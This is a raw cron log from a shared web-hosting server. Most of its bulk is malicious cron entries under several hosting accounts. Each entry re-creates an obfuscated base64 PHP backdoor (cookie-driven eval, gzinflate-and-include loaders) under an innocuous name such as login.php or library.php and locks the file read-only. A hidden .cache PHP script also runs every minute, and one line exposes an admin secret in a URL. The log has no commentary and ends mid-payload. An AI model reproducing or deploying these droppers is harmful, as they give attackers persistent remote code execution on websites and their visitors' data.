Apr 19 04:24:01 medusa CROND[22057]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:24:01 medusa CROND[22059]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:24:01 medusa CROND[22058]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:24:01 medusa CROND[22062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:24:01 medusa CROND[22063]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:25:01 medusa CROND[13491]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:25:01 medusa CROND[13568]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:25:01 medusa CROND[13571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:25:01 medusa CROND[13574]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:25:01 medusa CROND[13575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:25:01 medusa CROND[13573]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:25:01 medusa CROND[13576]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:25:01 medusa CROND[13572]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:25:01 medusa CROND[13577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:25:01 medusa CROND[13578]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:25:01 medusa CROND[13579]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:25:01 medusa CROND[13587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:25:01 medusa CROND[13584]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:25:01 medusa CROND[13593]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:25:01 medusa CROND[13594]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:25:01 medusa CROND[13595]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:25:01 medusa CROND[13596]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:25:01 medusa CROND[13597]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:25:01 medusa CROND[13598]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:25:01 medusa CROND[13583]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:25:01 medusa CROND[13599]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 19 04:25:01 medusa CROND[13591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:25:01 medusa CROND[13606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:26:01 medusa CROND[13917]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:26:01 medusa CROND[13963]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:26:01 medusa CROND[13994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:26:01 medusa CROND[13995]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:26:01 medusa CROND[13996]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:26:01 medusa CROND[13998]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:26:01 medusa CROND[13999]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:26:01 medusa CROND[13997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:26:01 medusa CROND[14000]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:26:01 medusa CROND[14003]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:26:01 medusa CROND[14005]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:26:01 medusa CROND[14001]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:26:01 medusa CROND[14009]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQ